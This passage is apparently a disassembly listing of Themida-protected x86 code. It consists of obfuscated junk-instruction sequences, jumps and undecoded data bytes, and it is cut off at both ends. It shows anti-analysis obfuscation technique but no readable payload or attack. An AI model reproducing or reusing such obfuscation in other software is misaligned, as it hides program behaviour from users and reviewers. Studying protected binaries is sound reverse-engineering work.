0E949CC80h, 4754h, 56FBF381h dd 9E2D7FF7h, 2D70BE70h, 50F258F1h, 767FB305h, 2DD80136h dd 36767FB3h, 0F258F105h, 709E0550h, 0A1E970BEh, 89FFFFBFh dd 9E9240Ch, 8100009Eh, 0A02869EAh, 0B9C28168h, 814FBE35h dd 0EE6BBAC2h, 5AD129B7h, 8159CF01h, 4ECh, 24348900h, 4BEh dd 4901E900h, 3C870000h, 52555C24h, 0A651E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B3B6: ; CODE XREF: Themida_:00560A7Fj add esp, 4 push ecx mov ecx, 652374FEh neg ecx sub ecx, 22655B92h add eax, ecx pop ecx sub eax, 0BF91C3Ch sub eax, 28350427h add eax, edx add eax, 28350427h jmp loc_5681F5 ; --------------------------------------------------------------------------- loc_56B3E0: ; CODE XREF: Themida_:0056575Cj shr eax, 0Eh xor eax, ecx push 419Dh jmp loc_5654CE ; --------------------------------------------------------------------------- db 33h dd 55C242Ch, 11A44048h, 0FFA4EFE9h, 87EB81FFh, 56148E41h dd 0D6CFE950h, 0C481FFFFh, 4, 0AE86E950h, 0DEF7FFFFh, 55ADE9h db 0 ; --------------------------------------------------------------------------- loc_56B41D: ; CODE XREF: Themida_:0056A4B0j push dword ptr [esp] pop eax sub esp, 4 jmp loc_570FDA ; --------------------------------------------------------------------------- loc_56B429: ; CODE XREF: Themida_:005709F1j sub ebx, 38164261h inc ebx push esi mov esi, 12CC4A09h add ebx, esi mov esi, [esp] add esp, 4 jmp loc_5708E9 ; --------------------------------------------------------------------------- loc_56B443: ; CODE XREF: Themida_:0056266Aj xor ebx, [esp] pop esp push 4380h mov [esp], ecx push 6A49h mov [esp], eax push esi mov esi, 62604585h push 0 sub dword ptr [esp], 3D1274E9h jmp loc_564F91 ; --------------------------------------------------------------------------- dw 168h dd 0FF000000h, 2C8B2434h, 4C48124h, 57000000h, 0BE56E789h dd 4, 59FAEF81h, 0F7015FCBh, 59FAC781h, 835E5FCBh, 0D1E904ECh dd 0B9000047h, 1138295Fh, 3BF9E941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B4AA: ; CODE XREF: Themida_:0056BF98j pop ebx add esp, 4 jmp loc_56A89D ; --------------------------------------------------------------------------- loc_56B4B6: ; CODE XREF: Themida_:0056EB45j pop ecx push esi jmp loc_56C785 ; --------------------------------------------------------------------------- loc_56B4BD: ; CODE XREF: Themida_:0056BB60j inc ecx sub ecx, 5676367Fh mov edx, ecx pop ecx add eax, edx pop edx xor eax, [esp] jmp loc_5643AB ; --------------------------------------------------------------------------- dw 0F781h dd 74246D63h, 0A98AB951h, 0CF31EF42h, 0FFA2B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B4E5: ; CODE XREF: Themida_:00566BABj shl ecx, 1 jmp loc_5717FC ; --------------------------------------------------------------------------- dd 4FF5C281h, 83594136h, 94E904ECh db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B4FB: ; CODE XREF: Themida_:00560192j pop ecx mov edx, [esp] add esp, 4 push edi mov edi, 1AA0B7B6h jmp loc_561217 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0A6E95058h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B517: ; CODE XREF: Themida_:005665D6j mov edx, [esp] add esp, 4 xor ecx, 2801673Bh not ecx and ecx, 26BF3AC3h sub ecx, 0A8A1E38Bh and ecx, 7DB157AFh jmp loc_56F3EC ; --------------------------------------------------------------------------- dd 0E906E0C0h, 0FFFFF7ABh ; --------------------------------------------------------------------------- loc_56B544: ; CODE XREF: Themida_:00569FB3j push dword ptr [esp] pop eax add esp, 4 push 0ABFh mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 add edx, 4 sub esp, 4 mov [esp], ebp push 327237CAh jmp loc_5635BE ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 2DB76824h, 24890000h, 4BD5524h, 1000000h dd 5D04246Ch, 5D2434FFh, 7A0FE9h db 0 ; --------------------------------------------------------------------------- loc_56B599: ; CODE XREF: Themida_:00564681j shl ebx, 6 jmp loc_5614DA ; --------------------------------------------------------------------------- db 49h, 81h, 0E9h dd 5CF60CEDh, 7F91BE56h, 0BB53AF5Dh, 76B4784Ah, 0FF6131E9h dd 48B850FFh, 5780F09h, 0E95C0ACBh, 7382E9h, 0E9C50100h dd 0FFFFBC00h ; --------------------------------------------------------------------------- loc_56B5D0: ; CODE XREF: Themida_:00569D45j mov ch, bh mov ebx, [esp] add esp, 4 jmp loc_573CC3 ; --------------------------------------------------------------------------- dd 0DC6BB82Dh, 0C0835940h, 0D2E1E904h, 0C181FFFFh, 4, 30E168h dd 24048900h, 4B8h, 58C12900h, 5C240C87h, 0FF7F3EE9h, 241C89FFh dd 0FF5E5CE9h, 80C1FEFFh, 8FE9B0F1h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B61F: ; CODE XREF: Themida_:0057274Bj mov [esp], edx mov dh, 3Fh shl dh, 1 or dh, 0E7h dec dh add dh, 67h or bh, dh pop edx shl bh, 2 dec bh push 2E17h mov [esp], eax push ebx jmp loc_569F11 ; --------------------------------------------------------------------------- dd 0E924048Bh, 5DC9h, 5704C483h, 0BA696CBFh, 8BF8013Bh dd 0C483243Ch, 0E9D80104h, 0FFFF844Ch, 81E38953h, 4C3h dd 4C38300h, 31241C33h, 1C33241Ch, 6FB1E924h, 0F001FFFFh dd 7874E9h, 81E78900h, 4C7h, 4EF8300h, 0FF83D9E9h, 6DBA52FFh dd 0E9449900h, 3649h, 0FF48FAE9h, 5BDD88FFh, 8B59EF88h dd 0C4812404h, 4, 8805C780h, 241C8BFDh, 0FF7E71E9h, 0EA815FFFh dd 42B40A3Eh, 0C281F201h, 42B40A3Eh, 0FFFAD8E9h db 0FFh byte_56B6D5 db 64h, 0FFh, 32h ; DATA XREF: Themida_:0055FE54o dd 0FF48C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B6DD: ; CODE XREF: Themida_:00571FC5j add esp, 4 neg edi push esi mov esi, 2EECE500h jmp loc_5670EE ; --------------------------------------------------------------------------- db 5Ah, 20h, 0F8h dd 937FE9h, 241C8900h, 5004E8BBh, 8C68514Dh, 0E965D151h dd 32B6h ; --------------------------------------------------------------------------- loc_56B708: ; CODE XREF: Themida_:00568B46j mov ebp, [esp] add esp, 4 xor ecx, 14266CCCh not ecx inc ecx jmp loc_56F591 ; --------------------------------------------------------------------------- db 53h dd 0FA446DBBh, 582E6821h, 4DE90000h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B72F: ; CODE XREF: Themida_:005725F4j add eax, 4 add eax, 4 jmp loc_56C0ED ; --------------------------------------------------------------------------- dd 0BF243C89h, 4, 3C8BFA01h, 47F76824h, 0C890000h, 0E9595424h dd 0FFFFA4ABh, 5C241C87h, 0FF5ADEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B761: ; CODE XREF: Themida_:00573467j add eax, 182E3672h add ebx, 105A1AD2h add ebx, eax push 5EDCh mov [esp], ecx mov ecx, 7695672Ah inc ecx shr ecx, 3 neg ecx shl ecx, 8 xor ecx, 3D0901D2h sub ebx, ecx pop ecx pop eax add ebx, eax push 5508h mov [esp], eax mov eax, 6D541BE0h shl eax, 5 push ebx jmp loc_565361 ; --------------------------------------------------------------------------- dw 2C89h dd 55F9E924h, 0C3830000h, 241C8704h, 86FCE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B7BA: ; CODE XREF: Themida_:0057504Dj xchg edx, [esp] pop esp mov [esp], esi mov esi, 76413E9Bh mov edx, esi jmp loc_569D82 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0C4h dd 42BA5204h, 0C121A704h, 0DAF703EAh, 330E9h db 0 ; --------------------------------------------------------------------------- loc_56B7E1: ; CODE XREF: Themida_:0056BA5Bj mov eax, 88ED87DBh add eax, edx pop edx sub esi, eax jmp loc_571108 ; --------------------------------------------------------------------------- dd 6C030559h, 0D5050984h, 178CE67h, 4FBD55D0h, 0F70AA276h dd 95EFE9DDh, 805A0000h, 0EB8048EBh, 0E3EB8063h, 0FF89CCE9h dd 3FB5FFh, 0C30059EBh, 803FEB80h, 0EB8079EBh db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push 2BD33A7Dh jmp loc_574C8C ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 524248Bh, 2D4849A7h, 2257BE56h, 0EEC14C3Fh, 14F68103h dd 4E071E39h, 0FF85DEE9h, 0C28966FFh, 0FF736FE9h, 81E789FFh dd 4C7h, 4C78100h, 87000000h, 555C243Ch, 81E28952h, 4C2h dd 4BD5500h, 29000000h, 14875DEAh, 8F545C24h, 4812404h dd 424h, 2434FF00h, 81242C8Bh, 4C4h, 59545100h, 4C181h dd 0C1810000h, 4, 0E9240C87h, 0FFFF48CAh, 407DEE81h, 0B9513485h dd 7FD927D2h, 57E9CF29h, 33000053h, 248B242Ch, 1EFC6824h dd 0EBE90000h, 5700001Ch, 67FEB850h, 52E905F0h, 83FFFF81h dd 1C8704C3h, 0F0015C24h, 6952BA05h, 0C0835E58h, 24048704h dd 0E924248Bh, 0FFFFC835h, 310B68h, 24148900h, 0E753A5BAh dd 500FE937h, 0D901FFFFh, 4C1835Bh, 5C240C87h, 4C481h dd 54510000h, 4C18159h, 81000000h, 4C1h, 240C8700h, 241C8B5Ch dd 81E18951h, 4C1h, 4448E900h, 0C4830000h, 9A9AE904h, 0F5800000h dd 59E82824h, 241C8B66h, 0E902C483h, 65EBh, 2404875Bh dd 924248Bh, 0E99C2404h, 0FFFF9415h, 35DB951h, 0CA290B9Bh dd 8E2C159h, 843C281h, 0D6314659h, 0BA52575Ah, 16131EDCh dd 15AD789h, 0F1015FF9h, 1EDCE981h, 685E1613h, 6AA1h, 0FF240C89h dd 0E9042474h, 0FFFF8B00h ; --------------------------------------------------------------------------- loc_56B9D0: ; CODE XREF: Themida_:0056992Bj mov edi, esp add edi, 4 push ebx jmp loc_56F4E8 ; --------------------------------------------------------------------------- dw 0FF56h dd 815E2404h, 425994C6h, 0C6BA52FDh, 684B1E54h, 7BB1h dd 0B9240C89h, 520F2D63h, 0C8BCA09h, 7E07E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56BA06: ; CODE XREF: Themida_:00560458j mov ebp, 4 add ebx, ebp jmp loc_57448D ; --------------------------------------------------------------------------- dw 0BA52h dd 1B13288Eh, 0FF88AAE9h, 240401FFh, 9E240481h, 81606B56h dd 7AF72404h, 55E9528Dh, 58FFFFDDh, 3142D787h, 0E9FA31D7h dd 83E5h ; --------------------------------------------------------------------------- loc_56BA40: ; CODE XREF: Themida_:005715B8j push dword ptr [esp] pop ebx jmp loc_56571C ; --------------------------------------------------------------------------- loc_56BA49: ; CODE XREF: Themida_:00575407j sub edi, 3B7B7B97h add edi, edx jmp loc_56F93F ; --------------------------------------------------------------------------- loc_56BA56: ; CODE XREF: Themida_:0057148Aj mov edx, 7BB6568Eh jmp loc_56B7E1 ; --------------------------------------------------------------------------- dd 27DCE981h, 0E90160E8h, 27DCBA52h, 0C18160E8h, 6A720509h dd 0E981D101h, 6A720509h, 9E9815Ah, 5D1F265Ch, 615968h dd 24048900h, 0FFB70CE9h, 0E2ED81FFh, 5259F02Fh, 4C0164BAh dd 4FCA813Bh, 81753642h, 0D1510C2h, 0BAC58190h, 815B153Bh dd 0C863F8EDh, 81D50162h, 0C863F8C5h, 0BAED8162h, 5A5B153Bh dd 4EC81h, 4890000h, 486FB824h, 0D8F70C2Ah, 2699782Dh dd 11ED81A7h, 10D7600h, 11C581C5h, 580D7600h, 0E0895058h dd 405h, 4E88300h, 0E9240487h, 0FFFFF27Ah, 4B9h, 0E9CB0100h dd 0FFFF7723h ; --------------------------------------------------------------------------- loc_56BB08: ; CODE XREF: Themida_:00567204j add esp, 4 push edx jmp loc_56F0E2 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 0C1h dd 814A02E2h, 8C8647F2h, 5AD62932h, 40F6C681h, 0C681042Dh dd 48816C72h, 3CE5E9h, 81DDF700h, 0D2DD81EDh, 5DE889FBh dd 48BC589h, 4C48324h, 0B7BAE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BB4A: ; CODE XREF: Themida_:00570A2Dj add edx, edi push ebp mov ebp, 174A2ABDh sub edx, ebp jmp loc_570567 ; --------------------------------------------------------------------------- loc_56BB59: ; CODE XREF: Themida_:005745CAj push edx push ecx mov ecx, 56763682h jmp loc_56B4BD ; --------------------------------------------------------------------------- db 56h, 0E9h, 76h dd 89FFFFDEh, 0CABF243Ch, 815F2279h, 644B6BF7h, 23BB5328h dd 2959E308h, 0DFF75BDFh, 0C108E7C1h, 0F78103EFh, 139AB044h dd 0E95FFE01h, 2AADh ; --------------------------------------------------------------------------- loc_56BB98: ; CODE XREF: Themida_:00574860j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_57474B ; --------------------------------------------------------------------------- loc_56BBAB: ; CODE XREF: Themida_:00565D9Bj mov [esp], edx jmp loc_560CE1 ; --------------------------------------------------------------------------- loc_56BBB3: ; CODE XREF: Themida_:0056D5C8j xor edx, edi pop edi add eax, edx pop edx add eax, 4 xchg eax, [esp] jmp loc_56047D ; --------------------------------------------------------------------------- loc_56BBC6: ; CODE XREF: Themida_:00572597j mov edx, [esp] add esp, 4 not edx push edx not dword ptr [esp] pop edx dec edx xor edx, 68F67B6Fh mov ecx, edx pop edx push esi jmp loc_56C52E ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 815E2434h, 4C4h, 24048F00h, 809AE95Ch, 895C0000h dd 0BE68243Ch, 8900005Fh, 4812424h, 424h, 9685F00h, 0E900003Dh dd 0FFFFBCF2h, 24148B54h, 4C481h, 0C2810000h, 4, 0FF9313E9h db 0FFh ; --------------------------------------------------------------------------- loc_56BC2D: ; CODE XREF: Themida_:00569E16j add ebx, 3E527632h sub ebx, edi sub ebx, 3E527632h push ebp mov ebp, 25B47842h shl ebp, 1 add ebp, 43083F8Dh shl ebp, 4 shl ebp, 1 push edi mov edi, 27F76C67h or edi, 4E731F82h neg edi jmp loc_568CC5 ; --------------------------------------------------------------------------- db 83h, 0C0h, 2 dd 31240433h, 0AAE92404h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BC6F: ; CODE XREF: Themida_:00572543j push edx mov edx, 966832h inc edx shr edx, 8 shr edx, 2 jmp loc_5747E2 ; --------------------------------------------------------------------------- db 68h, 0C3h, 12h dd 1C890000h, 0E6895624h, 4C681h, 0A0E90000h db 8Eh, 2 dup(0FFh) byte_56BC97 db 66h ; DATA XREF: Themida_:0055FDBCo dd 0E924048Bh, 0FFFFDA0Fh ; --------------------------------------------------------------------------- loc_56BCA0: ; CODE XREF: Themida_:00561311j xchg ebx, [esp] pop esp push eax mov eax, 4 sub ecx, 57E1534Eh add ecx, eax add ecx, 57E1534Eh pop eax push edx push eax mov eax, 455D5A6Ah mov edx, 78B57BABh xor edx, eax jmp loc_57154D ; --------------------------------------------------------------------------- loc_56BCCC: ; CODE XREF: Themida_:0056D2BAj pop ebp push edx mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp] pop esp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_56A920 ; --------------------------------------------------------------------------- loc_56BCF1: ; CODE XREF: Themida_:0057056Aj push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5659D2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFCC64E9h, 240C89FFh, 78C3E954h, 3C89FFFFh, 6C1EE924h db 2 dup(0FFh) word_56BD36 dw 0D568h ; DATA XREF: Themida_:0055FD80o dd 89000076h, 0E9502434h, 80DAh, 0E904EC83h, 0FFFF8945h ; --------------------------------------------------------------------------- loc_56BD4C: ; CODE XREF: Themida_:00562071j shr edx, 1 cmp eax, edx jz loc_57529E sub esp, 4 jmp loc_56563A ; --------------------------------------------------------------------------- byte_56BD61 db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:0055FE88o dd 8C7FE99Ch, 0D8300000h, 0E963B753h, 0FFFFC161h, 0D6F673B6h dd 0E941C680h, 0FFFFA3D1h, 48BC589h, 7197E924h, 0DBF70000h dd 72E94B43h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BD93: ; CODE XREF: Themida_:005695E7j xor ebx, 631F71B1h jmp loc_56F928 ; --------------------------------------------------------------------------- dw 0E381h dd 4F1C6CF0h, 0B6AAEB81h, 0DE899E6Fh, 0FF700AE9h db 0FFh ; --------------------------------------------------------------------------- loc_56BDB1: ; CODE XREF: Themida_:00573BE7j pop esp add esp, 4 push 5403h mov [esp], ecx jmp loc_57232B ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4C28300h, 0E9241487h, 0FFFF8619h, 3170EB81h, 48B7134h dd 4C48324h, 2A26E9h, 0E3895300h, 4C381h, 0BA520000h, 4 dd 0FFE9D301h, 0C1FFFF4Dh, 8E906E0h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BE07: ; CODE XREF: Themida_:0056A249j push 5448h mov [esp], edx mov edx, 5E050C6h or edi, edx push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 jmp loc_569694 ; --------------------------------------------------------------------------- dw 0C483h dd 2303E904h, 14890000h, 6BD7BA24h, 0DBBF1610h, 5216106Bh dd 405CEEBAh, 1CEA816Ch, 29660B1Ah, 0D7295AD7h, 42D2C781h dd 34FF0635h, 24148B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 sub dword ptr [esp+4], 13C935A6h add [esp+4], edi jmp loc_565ABF ; --------------------------------------------------------------------------- loc_56BE87: ; CODE XREF: Themida_:00567FA7j neg edx shr edx, 2 add edx, 42CF5A6Ch add ebx, edx pop edx add ebx, 0F29CBDB0h sub edx, ebx mov ebx, [esp] jmp loc_572EE4 ; --------------------------------------------------------------------------- loc_56BEA5: ; CODE XREF: Themida_:0056A363j pop eax sub esp, 4 mov [esp], edi jmp loc_570C2D ; --------------------------------------------------------------------------- dd 4C781h, 0AFE90000h, 1000066h, 69C181F1h, 5252B20Bh dd 5B1FE9h, 4C68100h, 81000000h, 4EEh, 24348700h, 241C895Ch dd 0C3815B54h, 4, 4BF57h, 0FB010000h, 74FF535Fh, 8F5B0424h dd 248B2404h, 0E0895024h, 405h, 4E88300h, 5C240487h, 53242C89h dd 0CC384CBBh, 1EE4E94Dh, 2FB90000h, 0E998BCD1h, 0FFFF52AAh dd 4C481h, 2C870000h, 2434FF24h, 0E089505Dh, 4BE56h, 8680000h dd 89000034h, 0BAB9240Ch, 29586952h, 240C8BC8h, 0FFDBB6E9h dd 4E981FFh, 87000000h, 895C240Ch, 74FF243Ch, 34FF0424h dd 9D58E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BF6A: ; CODE XREF: Themida_:005605C8j mov ebp, 1D5E39C4h push ebp neg dword ptr [esp] pop ebp jmp loc_571BBA ; --------------------------------------------------------------------------- loc_56BF79: ; CODE XREF: Themida_:0057538Fj add eax, esi mov esi, [esp] add esp, 4 push ecx mov ecx, 0 add ecx, eax mov [ecx], dl mov ecx, [esp] add esp, 4 pop eax push dword ptr [esp] jmp loc_56B4AA ; --------------------------------------------------------------------------- db 5, 0C6h, 2Bh dd 0D0293F2Bh, 2B2BC62Dh, 3C8B5A3Fh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_567442 ; --------------------------------------------------------------------------- loc_56BFBE: ; CODE XREF: Themida_:0056E4CFj pop ebx pop dword ptr [esp] jmp loc_5638EC ; --------------------------------------------------------------------------- db 80h dd 0D5F64CCDh, 8381F580h, 148904ECh, 8081B624h, 0E68096EEh dd 80D6F665h, 9E98BF6h, 5AFFFFD7h, 4C481h, 32E90000h, 83FFFFD1h dd 18E904C4h, 29FFFFE6h, 0BCC681D6h, 0E9113F4Ch, 6C58h dd 9F8AE957h, 0F301FFFFh, 0FF5F25E9h, 51EA81FFh, 13AC67Ch dd 51C281DAh, 0E93AC67Ch, 5ECAh, 4C481h, 0C4810000h, 4 dd 0EC81C331h, 4, 89240489h, 0DAE953E0h, 8100004Ch, 4C4h dd 4C18300h, 6836E9h, 9DB85000h, 19F0453h, 0EB0158C5h dd 243C8B5Dh, 0FFC5B9E9h, 0F9E948FFh, 8100000Ch, 0A1037FEEh dd 3FEE817Eh, 0E9241397h, 0FFFFC558h, 5C4BE56h, 814E5089h dd 6E45EFF6h, 0A3CE816Dh, 0E95DAB21h, 0FFFFDD05h ; --------------------------------------------------------------------------- loc_56C098: ; CODE XREF: Themida_:00567E5Fj xor eax, ecx sub esp, 4 mov [esp], eax xchg ebp, [esp] push esi mov esi, esp jmp loc_5609B5 ; --------------------------------------------------------------------------- db 8Fh dd 895C2404h, 0ECB7241Ch, 0FF78CEE9h, 525F54FFh, 4BAh dd 0E9D70100h, 0FFFFCF97h, 7CFDE941h, 5066FFFFh, 3EC9E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C0D6: ; CODE XREF: Themida_:0057190Dj pop ebx jmp loc_56232F ; --------------------------------------------------------------------------- dd 4C281h, 0C2810000h, 4, 1036E9h db 0 ; --------------------------------------------------------------------------- loc_56C0ED: ; CODE XREF: Themida_:0056B737j push eax jmp loc_571CFB ; --------------------------------------------------------------------------- loc_56C0F3: ; CODE XREF: Themida_:00573B2Aj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push esp jmp loc_565F6F ; --------------------------------------------------------------------------- dd 0F658E188h, 80F986D7h, 0C1FE66C1h, 0FFF224E9h, 5EF189FFh dd 0BDE9CA29h, 5A000092h, 189DE9h, 0B2E95C00h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C133: ; CODE XREF: Themida_:0056CE7Dj push edx mov edx, 156B5F77h jmp loc_571F45 ; --------------------------------------------------------------------------- dw 3489h dd 0BD52E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C146: ; CODE XREF: Themida_:00566536j add [esp+4], edi add dword ptr [esp+4], 78D93E6Dh pop edi jmp loc_56EAF1 ; --------------------------------------------------------------------------- dd 0E0895058h, 405h, 56806800h, 1C890000h, 4BB24h, 0B42D0000h dd 2937D33Dh, 3DB405D8h, 0E95B37D3h, 0FFFF845Fh, 404C483h dd 2CF8286Ch, 66212C6Ch, 0E9241C8Bh, 0FFFF9C91h, 0EC81A5B0h dd 4, 0FFA61BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C1A1: ; CODE XREF: Themida_:005697BBj mov esi, 1F334BE2h add esi, 0F4DFFEABh add ebp, 40300041h add ebp, esi jmp loc_56F50F ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 4EC81h, 3C890000h, 0E5F3E924h, 0EB81FFFFh dd 4FA56F58h, 0C381D301h, 4FA56F58h, 74FF535Ah, 1C8B0424h dd 4C48324h, 0E924048Fh, 2F1Ch ; --------------------------------------------------------------------------- loc_56C1F0: ; CODE XREF: Themida_:00563328j xor ecx, 41101E33h add eax, ecx jmp loc_57284D ; --------------------------------------------------------------------------- db 1, 0D0h, 5Ah dd 0E958C629h, 0FFFFFE67h ; --------------------------------------------------------------------------- loc_56C208: ; CODE XREF: Themida_:0056DC4Ej mov esi, 285F4BF7h sub esp, 4 mov [esp], edx mov edx, 344905B3h add esi, 31FF0A8Ah sub esi, 3DBF2D46h jmp loc_56736E ; --------------------------------------------------------------------------- db 66h, 0D3h, 4 dd 6CE99C24h db 3Dh, 2 dup(0FFh) byte_56C233 db 0FFh ; DATA XREF: Themida_:0055FDF4o dd 34FF2434h, 24148B24h, 26DFE9h, 24248B00h, 9C240420h dd 0FF3D52E9h, 2434FFFFh, 582434FFh, 4C481h, 0EC830000h dd 24048904h, 4119E954h, 3C89FFFFh, 24348124h, 22E12803h dd 3F6815Eh, 5F22E128h, 15FFE01h, 0C3E959CEh db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C283: ; CODE XREF: Themida_:00560932j push dword ptr [esp+4] jmp loc_575103 ; --------------------------------------------------------------------------- aIVsC db '‰,$Vé',27h,'C',0 db 0 ; --------------------------------------------------------------------------- loc_56C295: ; CODE XREF: Themida_:00566F0Aj push ebp sub esp, 4 jmp loc_570601 ; --------------------------------------------------------------------------- aASps db '€ÃÞ鯑',0 align 2 dw 0F751h dd 52592414h, 0FF5B12E9h, 242489FFh, 4240481h, 8B000000h dd 0C4832404h, 40504h, 0C0830000h, 24043304h, 33240431h dd 248B2404h, 89FEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C2DA: ; CODE XREF: Themida_:0056E2A1j pop eax add ecx, 5C590112h add ecx, esi sub ecx, 5C590112h pop esi push edx push eax mov eax, 8F4328Bh sub eax, 8E76E86Dh jmp loc_571958 ; --------------------------------------------------------------------------- loc_56C2FB: ; CODE XREF: Themida_:0056B0B0j add edi, eax push dword ptr [esp] pop eax add esp, 4 push esi jmp loc_56982C ; --------------------------------------------------------------------------- dw 814Bh dd 773EFAC3h, 50C38164h, 8178E730h, 927500EBh, 8FEBE9CFh dd 89570000h, 4BB53E7h, 1000000h, 0A321E9DFh, 248BFFFFh dd 240CFE24h, 3C61E99Ch, 405FFFFh, 83000000h, 48704E8h dd 14895C24h, 81E28924h, 4C2h, 4B95100h, 81000000h, 0CA5F60EAh dd 81CA2911h, 0CA5F60C2h, 14875911h, 24248B24h, 0E9241489h dd 0FFFFF8A0h, 8124148Bh, 4C4h, 5EF20100h, 2474FF52h, 65E95A04h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C38F: ; CODE XREF: Themida_:0056CDC6j push ebx mov ebx, 364F0266h add ebx, 14AA27DCh add ebx, 6A83DD8h sub ebx, 5075F3C5h or edx, ebx pop ebx shl edx, 6 sub esp, 4 mov [esp], ebp push edi push ecx push 6D0607C2h jmp loc_57269B ; --------------------------------------------------------------------------- aYhaf db 'YhAF',0 dd 240C8900h, 0EF88F588h, 0E9240C8Bh, 0FFFFE1C4h ; --------------------------------------------------------------------------- loc_56C3D4: ; CODE XREF: Themida_:0057219Fj xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_57516F ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 83242C89h, 248904ECh, 4BB5324h, 1000000h, 5B04245Ch dd 81242C8Bh, 4C4h, 4C58100h, 52000000h, 4BAh, 86AFE900h dd 0C89FFFFh, 1D74B924h, 0CD310AD4h, 442C6859h, 14890000h dd 766FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C42E: ; CODE XREF: Themida_:00564073j xor al, dl jmp loc_560950 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 83000000h, 2C8704C5h, 24248B24h, 0CBF780h, 89045BF8h dd 892CD828h, 0E904EC83h, 0FFFFBAC7h ; --------------------------------------------------------------------------- loc_56C458: ; CODE XREF: Themida_:0056D9A5j mov [esp], eax push dword ptr [esp] mov ebx, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_5715A7 ; --------------------------------------------------------------------------- dword_56C474 dd 8B2434FFh, 68532404h, 385Ah, 68242489h, 36AAh, 7ADDE9h ; DATA XREF: Themida_:0055FF08o dd 4EC8100h, 89000000h, 6DB9240Ch, 0C157602Bh, 0E98108E9h dd 1BE33D23h, 0C181D9F7h, 54520A17h, 85BAE981h, 0BA521BD0h dd 6C832D9Fh, 148BD131h, 4C48324h, 72071B05h, 2DC82953h dd 5372071Bh, 0FF2434FFh, 5AE92434h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C4D7: ; CODE XREF: Themida_:00564180j or edx, esi pop esi dec edx push ecx push edx mov edx, 7AC5700h dec edx xor edx, 2BC4B57h mov ecx, edx pop edx xor edx, ecx jmp loc_566986 ; --------------------------------------------------------------------------- loc_56C4F3: ; CODE XREF: Themida_:0056D36Aj mov edx, 7EE91CBDh xor esi, edx jmp loc_573AA8 ; --------------------------------------------------------------------------- db 55h dd 0FE314ABDh, 0CD814524h, 260F0C09h, 5FDFE9h, 78596800h dd 2D59404Bh, 14985F36h, 0D2D1E2Dh, 53C80140h, 9662168h dd 0B8ECE931h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C52E: ; CODE XREF: Themida_:0056BBDEj mov esi, 3A175949h push ecx mov ecx, 524D3C39h sub esi, ecx jmp loc_56CAE8 ; --------------------------------------------------------------------------- dd 295BD989h, 0C18159CEh, 65DF5821h, 15E9F101h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C553: ; CODE XREF: Themida_:0056103Bj sub esp, 4 mov [esp], ecx jmp loc_57346C ; --------------------------------------------------------------------------- loc_56C561: ; CODE XREF: Themida_:005682F9j mov ebx, 57AF4918h jmp loc_572768 ; --------------------------------------------------------------------------- db 0BBh dd 4413697Fh, 815BD931h, 7F6766F1h, 4666E90Eh, 0C481FFFFh dd 4, 6B6E9h db 0 ; --------------------------------------------------------------------------- loc_56C589: ; CODE XREF: Themida_:0056A5D1j push edx push ebp mov ebp, 0A4465DEh push 32C9124Eh mov edx, [esp] add esp, 4 add edx, 